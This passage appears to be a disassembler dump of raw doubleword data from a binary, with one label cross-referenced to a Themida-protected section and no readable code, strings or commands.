0D806069Ch, 66113213h, 9AD6C114h dd 6625A87Dh, 4236BB15h, 661130AFh, 657A3315h, 8FBD680Fh dd 66223283h, 31CFB375h, 0D5968E92h, 10BB531Bh, 423EB914h dd 8F15F696h, 66883206h, 6F3060Ah, 23B59E3h, 57B9DEBEh dd 0D8DC4608h, 0E51D8338h, 0E22DC9EEh, 661132EEh, 668838FCh dd 8D4A5415h, 63C47EF2h, 0E75A46BFh, 668836F9h, 4270BB15h dd 0DE72C74Eh, 66113214h, 0DFD9C214h, 66443215h, 7F21F314h dd 34E46A4Ch, 668837AFh, 4487B315h, 6734DB62h, 44FAB3C6h dd 3C9EDB62h, 665CB61Ah, 0D5423215h, 661EDB8Eh, 0FD693215h dd 4F2DCB04h, 6576194h, 8E066591h, 286153BFh, 69BBCDEBh dd 6622369Dh, 7715215h, 383E3D74h, 6656DB14h, 723215h dd 4B9EE246h, 0E88F9CADh, 0B36B79FDh, 680E912Ch, 693FD996h dd 99761291h, 8FB152EAh, 66223201h, 89F4ED0Ah, 21CC4BC0h dd 1F6AA148h, 0A4989A7Ah, 9AFA5F0Ch, 66CDDB74h, 0E54B3215h dd 66223203h, 6601B11Ah, 6D613215h, 5443215h, 9D6F8F2Fh dd 954A1043h, 18083AE4h, 0E34BCC14h, 99DDCFCCh, 0A7905475h dd 774008Ch, 6655B41Ah, 6ACB3215h, 85113215h, 0A5802EEEh dd 4C1F29ECh, 8FA0EEAEh, 99EEC9F4h, 46B875h, 7C092AAh dword_5FB688 dd 66008E7Dh, 4225BB15h, 26315475h, 94B58C3Ch, 0E4357CCh ; DATA XREF: Themida_:005838F9o dd 66116D9Dh, 9EAC3E9Ch, 664BA67Dh, 423EBB15h, 0B19A5475h dd 3C4DB844h, 85CD6174h, 6626F194h, 8D903215h, 66883211h dd 3A602E92h, 69060E9Ch, 66113999h, 0EDEE5215h, 66C73DECh dd 7223215h, 7D2B975h, 6B61F224h, 27443215h, 48CF710Eh dd 5DE168E6h, 0DF3E6588h, 664EDBB9h, 0C3203215h, 36447599h dd 99F61DBBh, 3681BA44h, 0A5AADA9Dh, 8F716B4Dh, 6688321Dh dd 4153DE3Dh, 9E961B77h, 66113DFCh, 56CEC115h, 0C1B888AFh dd 5DDCC7EBh, 0D8920C06h, 6264B174h, 0D060269Ch, 3CD112E5h dd 0A6A63D75h, 7CCFD95h, 6934C995h, 66240E91h, 60F95215h dd 0BE883215h, 199A171Bh, 0B0A95494h, 7DB834Ah, 0E2873D29h dd 664432D9h, 662CDB75h, 4AED3215h, 3B2118A4h, 0E5DD6C40h dd 0B457E756h, 5A705FA3h, 0E30C3DFCh, 9F44321Eh, 0E22DD929h dd 66113DEAh, 668820FCh, 4A857215h, 44B07A51h, 0C464176Ah dd 0ABA37BD2h, 5A14384Fh, 0DEA63DF6h, 8F113216h, 6688321Dh dd 2D09BFEAh, 50ED3607h, 661121FCh, 0E46CD15h, 6CEB11ADh dd 91D61F86h, 93C0301Ch, 6BF6FF92h, 0E24BD029h, 66222370h dd 4225CDE0h, 624CB34Ah, 9E443215h, 3D0606EAh, 6615F694h dd 0E83215h, 8FD2C9ACh, 6622321Dh, 0BDB0870Eh, 13584B2Ch dd 4248B974h, 0E7C4BB43h, 661136D3h, 624EB115h, 3A600692h dd 662238FCh, 0C9486F15h, 0DEC4F3F5h, 999636A2h, 0E77C1621h dd 661136D1h, 9E4BCA15h, 0F40CB7D2h, 6624340Ch, 36E93215h dd 3DD98C43h, 0C9FC7D43h, 67929BB1h, 96106CE5h, 6D02A9Fh dd 664434FDh, 0BC030615h, 0EDC69030h, 61616CDBh, 87443215h dd 2127E746h, 6702461h, 0DE7AB973h, 73AC2D75h, 62CEB374h dd 0EF113215h, 503C1611h, 0E642F695h, 85027EF9h, 6C933D4Dh dd 8F883215h, 66443210h, 0E1652C35h, 0E6EAB21Ah, 99BFB71Ah dd 24CDEAh, 6CCBE29Eh, 4F113215h, 2E616690h, 77020014h dd 0DE7253EBh, 66113214h, 6D0F43Ch, 664423FCh, 2DF54815h dd 0BA62569h, 0E1100A1Ch, 0BB50E823h, 0E22DFBF6h, 66113217h dd 0EDE9C39Eh, 74596F90h, 0D92D5213h, 77F852C5h, 14883215h dd 8E6EA42Fh, 2BCD352h, 87E5B5E3h, 0CDA09AD8h, 664426FDh dd 6D5DBA15h, 140F57EAh, 98734701h, 174385F4h, 0A1578ABFh dd 7706BC7h, 4039A79Eh, 0ED243407h, 0B09D3DD7h, 40755A74h dd 5A013215h, 0EFB3BB31h, 76CB6DEEh, 5113215h, 0D18A4D5Ch dd 24FD31FBh, 39ABFA9Dh, 31172C44h, 668834AAh, 0F1AFB315h dd 67605644h, 0F1D2B3EEh, 39CA5644h, 0F58375h, 508ED094h dd 679B3D74h, 93883215h, 66468B44h, 97233215h, 66118A45h dd 0AE893215h, 3F1C2A16h, 0F2E5B375h, 0E641F637h, 5DE936D3h dd 46C63DCDh, 8F223215h, 66113219h, 45F0EB2Fh, 626951FAh dd 0EE2D2E05h, 0E01EE82Eh, 9977CC3Ch, 6645BE1Ah, 0E7D73215h dd 202529D6h, 37731B41h, 207029ACh, 3FE91B41h, 6605DB75h dd 0FDF43215h, 0BC84DC37h, 0EDA9CE6Bh, 27A4099Dh, 0BAE542ABh dd 96CE1019h, 62CEB174h, 0DC35269Ch, 66883213h, 9F1EE13Ch dd 61CB9F73h, 7E113215h, 3BD7D79Ah, 0CD22F4EEh, 662AB31Ah dd 0EE1E3215h, 66883217h, 245375h, 5496D494h, 6611B11Ah dd 0EE93215h, 664433E7h, 3506369Ch, 72F8694Dh, 0FC883215h dd 5ABA8EA9h, 5A4E4364h, 0BDF584Ah, 7567210Fh, 0CD2D7987h dd 0DE7267EDh, 14ED4A40h, 0B3D21610h, 57F83F71h, 266A000Bh dd 824B9A30h, 34240740h, 0A3CD67D1h, 3BCC334Dh, 661134FCh dd 0EAA15h, 9FD16C2Ch, 69060E9Ch, 66113597h, 670D3D15h dd 93443215h, 6A06469Ch, 66113BFCh, 7F83C315h, 0F2DAA3D1h dd 0D3ABED16h, 600300E0h, 42BCCDE0h, 6280B14Ah, 662DBF1Ah dd 8F713215h, 66883210h, 31B0F23h, 0B6A954ABh, 4225CD74h dd 624CB34Eh, 6443215h, 6620BB1Ah, 0A09A3215h, 743B973h dd 6643B41Ah, 0EB2D3215h, 66113214h, 42BCCDEDh, 6280B14Ch dd 662222FCh, 0B583D915h, 209A3F78h, 4D2DE964h, 0F1EEEE38h dd 75923D41h, 6883215h, 664434FCh, 8B594A15h, 696E5223h dd 66883294h, 52CF5315h, 81AB6531h, 6615F594h, 0A1093215h dd 66443211h, 3A060E92h, 97AE3D75h, 74A8D1Ah, 0E7A1BB40h dd 662236D0h, 62D4B115h, 42FCCD40h, 62CB6F11h, 69426E31h dd 66113090h, 7D16015h, 999B39FCh, 60CB52EAh, 0B7113215h dd 7D49FB3Fh, 0A125CBD6h, 7FB07A90h, 66113013h, 6682DB15h dd 0E7BC3215h, 2F0CD199h, 0FE3A2C49h, 4294B943h, 6640F694h dd 8FDB3215h, 66113204h, 42451752h, 0CC927092h, 0D00B5672h dd 0D368761Eh, 683E3D22h, 6643BE1Ah, 0E22D3215h, 66113214h dd 0E671B2EDh, 6623B11Ah, 37DA3215h, 9634BEACh, 3F43331Fh dd 8DC5F914h, 6CD21799h, 6600DB75h, 59F73215h, 0FF4BB96h dd 7523B977h, 8377C8C9h, 696E07A5h, 6644229Dh, 6629DB15h dd 0C7063215h, 0A1A15530h, 0C65C4F83h, 0DE7253FDh, 99EECDEAh dd 6D0F13Ch, 0E72274A3h, 72D09CCh, 66119BFCh, 6C083D15h dd 6443215h, 6622B61Ah, 0BF9A3215h, 34DB5474h, 8CC421A7h dd 23D0B24Ch, 4E4BE19Dh, 6D354CCh, 66443CFDh, 0F8209615h dd 0FE503552h, 38B15493h, 69F1CB80h, 66223295h, 0D9776915h dd 0EE9BEFFh, 66441C1Dh, 91063E9Ch, 8F481609h, 66883212h dd 9D8B4D39h, 30C46D7Dh, 6611CD7Dh, 97A96C15h, 0A5C5CA4Bh dd 1C47309Fh, 0DF40F93Ch, 43B732AEh, 0ACBD394h, 0AFA34C9Ch dd 65887F0Ah, 1906F394h, 0E7053D40h, 0EDED96E4h, 3FDA1B59h dd 0A9373D75h, 664422FCh, 0BE4BA415h, 0E71723h, 893D13BCh dd 0EB519730h, 0E3A9536Eh, 60032F48h, 6696B01Ah, 6243215h dd 6636DA74h, 0F9B73215h, 1240DF98h, 8191F744h, 0BBB56993h dd 0BA00A661h, 7D0FFE5h, 664FB11Ah, 0E6423215h, 0EF1EA0DBh dd 66883215h, 0D7D1B974h, 6242033h, 661123FCh, 777D0115h dd 15355CA6h, 3B9F7844h, 46840D94h, 0DEEE0068h, 0E52549F9h dd 743F2BA8h, 0E21E3313h, 66883677h, 74AC6575h, 0E6223215h dd 0BF1B4FFDh, 7B2D2F7Dh, 6BBC9355h, 0ECF94E7Ah, 8F496C13h dd 66883210h, 41E2C55Eh, 0A51B53DEh, 6225B01Ah, 6B613215h dd 9B443215h, 946F5809h, 0C0BD0805h, 71567F0Bh, 0E44BE12Ch dd 99DDC864h, 6205DBECh, 74613215h, 26443215h, 0C495A4A4h dd 6D602494h, 3E33848Ch, 1C30090Ch, 2EA7F50Ah, 64172B87h dd 8F883215h, 6644321Eh, 4CAF38FCh, 2D9424E8h, 30E2BFDFh dd 0C603694h, 3D6EFA27h, 547B8F40h, 8DA17EDDh, 67C83D48h dd 93223215h, 61F841Ah, 69588D1Ah, 6644319Ch, 0A0A95415h dd 0E6E8B274h, 66D0B11Ah, 6DAD3215h, 38223215h, 254788C1h dd 0FA46996Bh, 0DE143889h, 7CD84163h, 6749F114h, 1063B3DEh dd 65EC866h, 6620B11Ah, 7713215h, 0AC9C8873h, 67FE6074h dd 67223215h, 9EED68C6h, 6688AEFCh, 74AD5215h, 93223215h dd 0FD8CA50Eh, 19353E38h, 43E52503h, 0F0E51B72h, 8A905368h dd 66883211h, 0D460269Ch, 3CF31AEAh, 66AC67E9h, 0E7883215h dd 0E1088FD0h, 0E7EF1B67h, 0E15D8FF8h, 3B61B567h, 664420FCh dd 0FBABF415h, 0F2C91578h, 7FB4D400h, 0D00AE042h, 8F51E5C7h dd 6611321Bh, 6318A87Eh, 0D79289C1h, 0F32455B9h, 0DE4163A4h dd 3A6D1922h, 3A556210h dd 1E9B636Eh, 67368CD1h, 0A7A96BDDh, 0A5C5C74Dh, 6FB11040h dd 208BD994h, 0ADA12DD5h, 20DEF194h, 8DA32DD5h, 6F821040h dd 3B0DB9E0h, 93422008h, 0D7B7B9E0h, 8F172033h, 6688321Dh dd 3AB0A6BCh, 0C91918CEh, 7B088F96h, 69893407h, 66469F91h dd 61A13D15h, 69113215h, 66883396h, 0BE7FCA15h, 6601B01Ah dd 6AF83215h, 9D883215h, 0EB3EA0E5h, 6479010Fh, 5FE1EFEEh dd 0B00E3DC6h, 6BBCDEDh, 9CD877ABh, 0A0AE3D62h, 37336174h dd 91451A47h, 92C1B3CEh, 9135B039h, 0E753C5CEh, 1B9769D6h dd 3DFC33CEh, 0D44363EDh, 4E6F87CDh, 8ECC68C0h, 61A83D4Ch dd 69113215h, 66883397h, 69EEC715h, 66222492h, 6600DB15h dd 2FB33215h, 26A81112h, 0A33598B3h, 99C09E4Eh, 695B94FEh dd 66443390h, 0DE72CB15h, 66113215h, 0FEC4F638h, 63B43312h dd 61BA7ED1h, 8F493A9Fh, 6688321Ch, 0D6EB5BE2h, 2F49F40Ah dd 62FDB342h, 0EF883215h, 0E6F61601h, 678E29Dh, 29CEDD94h dd 0E0870C36h, 66443217h, 69432BA2h, 66113391h, 0D5DBCA15h dd 6787B2D1h, 95A2E9E3h, 5EF2B215h, 46A1D995h, 0ED4B69CCh dd 6622321Eh, 0DCC2B275h, 9ABD994h, 6E255BB6h, 6988CEDDh dd 66112294h, 0AC025215h, 664435FCh, 9548B015h, 2F0D7843h dd 0D9875274h, 0E725CBEEh, 9548F9FEh, 34EA1B5Bh, 95E2F9AFh dd 3C97335Bh, 662222FCh, 0D05D2515h, 3DB98C05h, 66D0776Dh dd 0A0913B43h, 62A863B2h, 4F883215h, 4248B9DEh, 6626F694h dd 0E51E3215h, 66883214h, 579C03ECh, 8FFA03D6h, 66113207h dd 0A4136EA1h, 2190B365h, 20A340B8h, 3C02033h, 623EEE5h dd 664437FCh, 0F9B6F815h, 6EF934FEh, 22883215h, 0C1BAFB64h dd 0ED0095h, 0E7C1D894h, 0DFD9534Ch, 66443217h, 6AA9FC14h dd 62D5B131h, 6680BB1Ah, 0E14B3215h, 66223217h, 0D3985375h dd 609A00E0h, 664CB71Ah, 0EB2D3215h, 66113217h, 0E34F5375h dd 60562F0Ch, 66223214h, 661135FCh, 226B7015h, 42822C84h dd 0FE868875h, 0E51E73F1h, 66883217h, 35255375h, 0A5A36941h dd 66113211h, 0E18CF196h, 69181609h, 6622239Ah, 661DDB15h dd 819D3215h, 7EC8E53h, 0C2A3D27Ah, 99E41C3Fh, 0E5D31621h dd 69AD36D1h, 0AC223215h, 80DE8603h, 44209543h, 854EADB8h dd 52DDA919h, 0A2906B31h, 66883211h, 664DB81Ah, 423215h dd 0E6B875AFh, 36E9ADC2h, 6241D29Ch, 0E5223215h, 994136D5h dd 3E8C1661h, 3A60369Ah, 84AB60E0h, 6615F094h, 0D9DF3215h dd 66443211h, 0E17DC814h, 694D1601h, 66883A98h, 64C93D15h dd 6223215h, 0BF13DB74h, 0E587CDEAh, 66443219h, 6624B21Ah dd 0EC1E3215h, 66883215h, 66443FFCh, 836C4115h, 0C7535AFDh dd 0DFCA227Fh, 0DB11F7F6h, 66223214h, 8F4CDC3Ch, 66883218h dd 0F0F57298h, 70A390A2h, 0D0883964h, 8F3D63AEh, 0EEAEBA47h dd 67B68C5h, 8F40E39Eh, 66883206h, 704EF9Eh, 0C7647002h dd 0E742DF93h, 64045840h, 3F0AA563h, 6429874h, 66113AFCh dd 0E5371315h, 0F24E541Ch, 0E8D2B24Ah, 0B5A85474h, 30DA53FDh dd 3C94BB4Fh, 66223DFCh, 0AABBBF15h, 0AF6CFF70h, 87853DDEh dd 0D0671085h, 26537310h, 34701B32h, 9C4F86AFh, 0F8D0B36Fh dd 0E72C4F76h, 0C29966DFh, 59B6B36Ch, 4F7AD52Eh, 0E11E68C5h dd 66883212h, 6645BF1Ah, 34DA3215h, 661136AFh, 47AA1F15h dd 0B66D7C68h, 1B031010h, 0CDED685Bh, 72013D75h, 8E443215h dd 6622321Bh, 0DB0E1F41h, 7F225A95h, 77D2A110h, 77D757Bh dd 0EF15DE96h, 84011601h, 6640F094h, 0A4A13215h, 4205B511h dd 5277CE49h, 0A2C56931h, 66223211h, 6610BA1Ah, 0ED743215h dd 0EF171619h, 62E1B3F6h, 0E7113215h, 668836D6h, 4258B515h dd 662ADB49h, 17283215h, 0D6FBA8B1h, 6BADA186h, 86223215h dd 80F9B145h, 9F0F93BCh, 0CB3E8042h, 380606EAh, 6615F694h dd 0E0873215h, 66443200h, 0B5CDB275h, 661139FCh, 0DCF5EA15h dd 25BEC50h, 92776174h, 84986074h, 668C8A45h, 0A4453215h dd 62E0B14Dh, 3A352692h, 0BC22DBE9h, 69BDCDEAh, 66223D9Dh dd 661BDB15h, 73133215h, 1735AB6h, 9BA2AA7Eh, 0F459B7D2h dd 668D340Ch, 6BAD3215h, 0CB223215h, 0BCC6B198h, 0AABB56Eh dd 4D01FB63h, 420EB343h, 1143294Eh, 0E5AC2E9Eh, 0A5C536D1h dd 1170294Eh, 661138FCh, 57169615h, 51221E2Eh, 372E0F30h dd 661136ACh, 0ED433315h, 0A2C51619h, 66223211h, 0DB4460ECh dd 66883215h, 6719D89Ch, 3C3831E7h, 41953DEDh, 6883215h dd 664438FCh, 2A917D15h, 59C5CBE7h, 8F1B9ADBh, 66443204h dd 7C7B9C87h, 552877F2h, 0EA309935h, 4DD3FBFDh, 0E3A95396h dd 60032F48h, 66883AFCh, 3501B315h, 461740ACh, 0D784B948h dd 8F8E2033h, 66443206h, 28FE15F4h, 1AB4804Dh, 0F48D6C3Ch dd 883A0E68h, 31C62911h, 99EECDAAh, 397633EAh, 6645B71Ah dd 0E5D73215h, 7421C3A8h, 0E2873313h, 664434C8h, 69FA09EDh dd 66110D97h, 71063D15h, 8F443215h, 66223207h, 0A51B4D94h dd 4AC4A756h, 7026D034h, 9A3E1DC9h, 0BC2AA034h, 6700B41Ah dd 0E7243215h, 62E008DFh, 6619DA5Ah, 0ACE23215h, 6B6744A3h dd 0DF44056Dh, 749B448h, 547D879Ch, 6EAD3407h, 0BF223215h dd 2CBD2C22h, 0ED22CD9Fh, 7FD67A88h, 22A3C713h, 6CD3E31h dd 3A892773h, 0D9133E31h, 734452C9h, 76354E3Ch, 6687DB4Ah dd 0DDA53215h, 9BD21E38h, 98E51C01h, 0FC5CCC31h, 600FDBD6h dd 6DA3215h, 0C1B973h, 71EDAAEh, 36600E9Eh, 6227D29Ch dd 63113215h, 66883211h, 3A603692h, 6635B71Ah, 0EC1E3215h dd 66883204h, 66443EFCh, 0DDE45D15h, 5163615Dh, 92EDAF04h dd 72C23D1Ah, 69223215h, 66113C98h, 6681DB15h, 4F4A3215h dd 0BF1E141Dh, 0A105550Fh, 74B8C390h, 66443313h, 0D12D5215h dd 6602DADBh, 0B3123215h, 62BD3D3h, 0E2E2CAEBh, 0F1245122h dd 0CD77A312h, 0ED2568ACh, 0EF751609h, 62D6B3F2h, 0E7883215h dd 664436D2h, 421EB515h, 6A903D49h, 69883215h, 66443496h dd 66A23D15h, 99113215h, 0E5D11621h, 60AD36D1h, 52223215h dd 5605BD54h, 42BCCDCDh, 6280B14Bh, 662BB31Ah, 0EC713215h dd 0A70954E0h, 8F25C5B6h, 6622321Ah, 161C3970h, 0F7547297h dd 0E66142F3h, 0E208ED5h, 66113843h, 0EFAC1E9Ch, 6281B3F0h dd 0E5223215h, 4A9636D0h, 68616E31h, 3443215h, 0A707214Dh dd 5B12B4Ah, 0BC57FC39h, 0B29EDBE6h, 8FD7CDEAh, 6611321Bh dd 9715F75Ch, 0C24F6427h, 1C4174F1h, 0DB920F01h, 609A2F0Ch dd 7CC03D14h, 69223210h, 66113397h, 0FBA3CB15h, 60562F48h dd 662222FCh, 0D1C36415h, 0FC746D2Bh, 7A2F394Eh, 0D993698Dh dd 5B9CB906h, 8F8E2038h, 66443210h, 97CA965Ah, 5AAE6582h dd 4FDCFB4Eh, 0BF456DECh, 3D1EF394h, 0E7E466DCh, 0F8B605FCh dd 35BD1B76h, 5A7730AEh, 0E7C2C524h, 38A632F6h, 1187B37Bh dd 0E72FA954h, 0A6C3F2D6h, 3D513312h, 63F967ECh, 0E7223215h dd 17B01D4h, 0E7611B2Ah, 12E01FCh, 6ECB6F2Ah, 0A5113215h dd 0B852924Fh, 9FBBEE93h, 0A0966246h, 8121DCA2h, 6467F24Dh dd 0EEA7C595h, 0EA2D69EDh, 66113219h, 668EB71Ah, 0E74B3215h dd 66223215h, 76F898E9h, 0C0883215h, 0E5FB13C6h, 0F228541Ch dd 237A404Ah, 0E72ADE70h, 664436F9h, 4226BB15h, 8F486A44h dd 6688321Dh, 2979142Eh dd 8C86730Eh, 6617DBBEh, 0DB473215h, 81576065h, 6670C47Dh dd 423DBB15h, 0A309D79Ch, 66443211h, 0E126F796h, 8F4D1639h dd 66883204h, 0C8F83EC3h, 5E9DE2F6h, 0E4F2B2EBh, 9B229614h dd 73CE3D83h, 8F223215h, 66113205h, 0FE711C06h, 2288E99Bh dd 9FD8A3FDh, 0E2504999h, 33AC2E9Eh, 0A3C5D79Ch, 66223211h dd 0E115F796h, 6D41639h, 27DD91AEh, 60AC3D60h, 69113215h dd 66883296h, 52BB5315h, 0A2A16B31h, 6A9D3D11h, 6883215h dd 33D71AADh, 0B0A3540Dh, 0ED701BD5h, 0EFDE1621h, 6282B3F3h dd 0E7223215h, 661136D3h, 42BCB515h, 0ACCF5249h, 6627B91Ah dd 0B9AF3215h, 7CBD68Bh, 0CB748A75h, 7DB2938h, 661EF47Dh dd 42B4BB15h, 0A1C5D59Ch, 66223211h, 0E115F596h, 69D41629h dd 66442392h, 662EDB15h, 66E3215h, 1BA47A3Bh, 90CABFB3h dd 47CBCDACh, 69EECDC3h, 66883896h, 6641DB15h, 986A3215h dd 0A17C0405h, 7F1A7A90h, 66443013h, 662FDB15h, 191C3215h dd 9F9DFB33h, 0E2985720h, 0E736E306h, 661136F9h, 4284BB15h dd 0ADCDC39Ch, 6624DB4Ch, 1BAD3215h, 0BACE35A3h, 694A841Ah dd 66223A9Dh, 0A0905215h, 795EE937h, 0E6BDB274h, 66B5B11Ah dd 8F713215h, 66883205h, 6D9BB777h, 513EEA8Ah, 0B790851Eh dd 160786Fh, 664439FDh, 3239A615h, 4F9E3E82h, 5AA2106Ah dd 3DFEF795h, 7BE1B374h, 675AB246h, 0AF3062DEh, 43301957h dd 1646DBBh, 2F065F18h, 6578175Ch, 5B412A0Ch, 4F61455Ah dd 0E61E6AD6h, 6688320Dh, 664421FCh, 68C0E715h, 0F750EC3Ah dd 26CA7384h, 15B3BC89h, 65D8910Ah, 99EE8B44h, 0ADA1CDEAh dd 6DC73D4Ch, 6223215h, 0C883EB94h, 0EDEE0CC2h, 0D7AD53DFh dd 6223215h, 6A8375h, 7533DAFh, 62A8B374h, 0EF223215h dd 99A51611h, 69D0D33Dh, 66443C98h, 63CB5215h, 6E113215h dd 3561F352h, 36256DA6h, 137D5A42h, 0E74E4C45h, 0F8F0DBD2h dd 0B9ABB35Dh, 0E72BCA27h, 90AA5BFAh, 3970BBA9h, 0A7CDFA3Ch dd 49A524Dh, 0E63D9CECh, 33E97FDAh, 761098A8h, 3EE7B321h dd 2B419771h, 0E06DB358h, 0E706AC78h, 0F20A33F8h, 0EDF81315h dd 0A2091639h, 66443211h, 662221FCh, 0FB7C15h, 7C5B2380h dd 0D783282Ch, 0B9832366h, 0B0DA38E2h, 5FF3D994h, 0AD6D0838h dd 5F598A45h, 0A5100838h, 668EDB4Dh, 0B3233215h, 81927594h dd 7B4CB79Eh, 0ED743407h, 74628380h, 6AAE3D13h, 69113215h dd 66883497h, 66C63D15h, 8F223215h, 99EEC89Eh, 2E0DF5E0h dd 64422B87h, 69223215h, 6611339Bh, 34DECE15h, 434525AFh dd 4276332Ah, 0E74A6811h, 438925FEh, 6650DB2Ah, 0FCD53215h dd 0E799F391h, 102C7FA9h, 735FB124h, 8C898836h, 69E45144h dd 0E6703CA3h, 0E54BB2ECh, 66223253h, 0A590CEE0h, 2C95724Ch dd 48E1F194h, 0AD23322Fh, 48B4D994h, 8D09322Fh, 2C59724Ch dd 0B99D65E9h, 0E75BD235h, 795712E2h, 39BF1BA0h, 662234FCh dd 0F42D4315h, 8F18183Bh, 6644328Dh, 139A5475h, 9B9B6093h dd 0D5DB534Ch, 0DD87B2B2h, 3444E9E3h, 952153A3h, 0BFA06873h dd 6656DB4Eh, 0A9463215h, 0FAAF8783h, 54A212B9h, 81E708B4h dd 60F06D21h, 91F8B55Ch, 9361B5C0h, 7A38375h, 1E348F40h dd 0DD420C5Bh, 68B81B6Eh, 0E71FEF3Ch, 1C3192E0h, 8B907F7Ah dd 39EC6E2Eh, 619DB34h, 0F1B973h, 0EA9EB94h, 0A509CA74h dd 2E204057h, 7A4FD994h, 0AD3879F3h, 7AE5F194h, 8DC579F3h dd 2E464057h, 66113DFCh, 0A97C9715h, 18CD2B33h, 203D0284h dd 9F3843B1h, 7BD5B79Eh, 0EDB13407h, 74048380h, 0DB92CA13h dd 609A2F0Ch, 6DC03D14h, 69DDCDE2h, 66112591h, 669ADB15h dd 6D613215h, 0B0FA3B58h, 262DED75h, 355B2AC3h, 49B9BF3Ah dd 0E42DEA2Eh, 66113205h, 0F7B78975h, 5F251FB5h, 48A43DC6h dd 9EEECDF8h, 66898F40h, 886D3215h, 60A73D48h, 6113215h dd 942E8873h, 4AC56474h, 555F8931h, 421DB908h, 0E78CF696h dd 553989D4h, 67AE3D08h, 9F113215h, 6B778847h, 0B7455CD6h dd 0E7DB1B4Fh, 0A51CCDFCh, 6685DB7Bh, 8B663215h, 43180962h dd 0A1440E57h, 36BCD167h, 664437ADh, 99E3B315h, 4F63926Bh dd 9961B3D4h, 3E36926Bh, 6623BC1Ah, 34E43215h, 9600DBA3h dd 0E560269Eh, 8F4236D1h, 6611321Fh, 0C36DAF84h, 0FAC075C0h dd 94A25547h, 0CCE85380h, 668838FCh, 7CB75C15h, 6E4CAACCh dd 5756A560h, 574903DDh, 8FEFC7DDh, 66223204h, 0F798D04Bh dd 0F645EB3Ch, 64A8F78Bh, 9DBA8E03h, 0B43FDBE6h, 8FE8CDEAh dd 66443210h, 598F70A9h, 25AE54F4h, 90E05318h, 0EF443263h dd 66981601h, 67113215h, 3C8AB8E7h, 664422FCh, 0F8494F15h dd 0F821185Bh, 5A38570h, 6036629Ch, 69CA0EDFh, 66111E91h dd 600D3D15h, 6443215h, 0A4A954EDh, 66AC6774h, 0EF883215h dd 4268B9FDh, 6926F696h, 6611349Dh, 0EDEE5215h, 8F25CBC2h dd 662233AFh, 62FDB1E0h, 8FAC2E9Ch, 66443206h, 4C2A3FA6h dd 80CF08FFh, 0E7C33862h, 0CFC43608h, 333A749Eh, 8D98C79Ch dd 0E5AC1E9Eh, 692436D1h, 6E95EBA2h, 62FDB174h, 0DFAC3E9Ch dd 66443214h, 7F21C314h, 709B3D4Ch, 8F883215h, 66443204h dd 0BCA34CECh, 421AE410h, 3C8446A0h, 7A3F4E6h, 0DC70CEF9h dd 66113210h, 7B63F194h, 0B545144Dh, 7BC9D994h, 694B144Dh dd 6688239Eh, 6648DB15h, 91E63215h, 94DC61CCh, 0B625DF85h dd 0D315310Ch, 36EFCC15h, 0AAEF37A1h, 98E1F695h, 0E8A8B2D1h dd 0E68CD695h, 8321BBF9h, 3F60BA4Dh, 664437FCh, 6AD0A315h dd 6BB598Dh, 660F3D43h, 38443215h, 0E74319A0h, 387700D6h dd 0BA63B30Dh, 4F654C7Eh, 0BAE1B3EEh, 0E7304C7Eh, 38EE00FEh dd 0FDFC520Dh, 8E3990F5h, 6611321Eh, 6FE6C990h, 298587AEh dd 8FD0ABEAh, 66113219h, 0EDDB5D3Fh, 6EE87645h, 4C293EE6h dd 8A90534Ch, 66883211h, 0D860069Ch, 66223211h, 694FC13Ch dd 66883592h, 67C33D15h, 93223215h, 629A6145h, 624CB131h dd 0AEC5524Eh, 646439D7h, 661139FCh, 8ADAF915h, 718E67F4h dd 8B95A5F0h, 9F719974h, 7738D1Ah, 35602E9Eh, 0A5A3D19Ch dd 66113211h, 0E18CF196h, 69181609h, 66223495h, 0D9775215h dd 35E9A063h, 664437AEh, 0EDFC3315h, 0A2901609h, 66883211h dd 750C8B75h, 34435E34h, 2F3726AFh, 9152C524h, 3396C5C7h dd 367699A8h, 3BFB3365h, 0B7E2F094h, 0B6CDF2EDh, 0DC44524Fh dd 0D91E2A73h, 696153C4h, 45443215h, 8F86274h, 0BA38A82Fh dd 871A33BDh, 69872816h, 66223A97h, 64943D15h, 6883215h dd 0D385A74h, 6AAB3215h, 74F85231h, 0D883215h, 19AB9DFBh dd 0B812D8BDh, 0FB13AF09h, 0C45E38CDh, 69AD53FFh, 0F9223215h dd 3FF52FB4h, 338A9715h, 6F0852F8h, 0DF73268Ch, 66113215h dd 0EDEEC314h, 4248B914h, 6626F694h, 5AED3215h, 350C3DD6h dd 69443214h, 66223A93h, 64993D15h, 6883215h, 698F0E74h dd 66230F91h, 8F71CA15h, 66883204h, 0AC3A32B9h, 7C650957h dd 47E57590h, 1FF06D0Fh, 0A47853D4h, 671DB61Ah, 8E713215h dd 66883219h, 0C06220B8h, 0FA2E84B5h, 7E64C98Fh, 0DE6C8973h dd 0EF4B524Dh, 66223215h, 0AC2D5374h, 679FB61Ah, 0EB4B3215h dd 66223211h, 7705275h, 43770F73h, 677EB61Ah, 0EB2D3215h dd 66113214h, 48B554E0h, 15C13DEAh, 93223215h, 66138946h dd 95893215h, 66448B44h dd 0BF233215h, 3D48339Fh, 8F7D5275h, 66443219h, 0B98CB2C6h dd 4E697A6Fh, 4899E4CEh, 0BDF33D74h, 75CB5274h, 0C1113215h dd 710FAD35h, 0A833680Dh, 0BA3E3DE5h, 8DF28538h, 88024A4Fh dd 0D0166374h, 4E328797h, 939168E0h, 3F60126Bh, 664434FCh dd 0A3476615h, 5A33D074h, 670C3DB5h, 9A443214h, 0A5A95475h dd 52EE53ECh, 0A20B6B31h, 6656DB11h, 76DE3215h, 462DE51h dd 7E0DD7A8h, 7AFA070Dh, 0BD4E6468h, 6BDD8B44h, 8F095FEAh dd 3801466Ah, 50E3B35Ch, 0E74E75F0h, 96DCA4DCh, 2F9DC569h dd 0A7A3EBE2h, 28445FAEh, 8ADAC394h, 0AECDFC53h, 11CBCE4Ch dd 8F113214h, 66883213h, 0C5CC1156h, 0AF13EF78h, 0B99A5475h dd 34E942A0h, 99BBCDAFh, 3CF31BEAh, 66C2DBEDh, 60613215h dd 67443215h, 668FAF5Ch, 65AC67BCh, 33883215h, 69B16F4Ch dd 66222B9Ch, 6605DB15h, 29003215h, 0F40331A9h, 1C954CA2h dd 0E7D129E5h, 71781491h, 0FCAD3FDEh, 6223215h, 0DDDFB3EDh dd 7B4BD27h, 22478946h, 0ADA37441h, 8154A96h, 9C3F994h dd 0BDB3786Dh, 3B7DF994h, 0B5E65C60h, 6EC08B44h, 0AFC517CAh dd 65832A94h, 5D52DB94h, 0AD891A12h, 3D9DBB4Ch, 662C8975h dd 9A46468Eh, 2861534Dh, 9A443215h, 22CC8C43h, 88902E7Bh dd 384A71A2h, 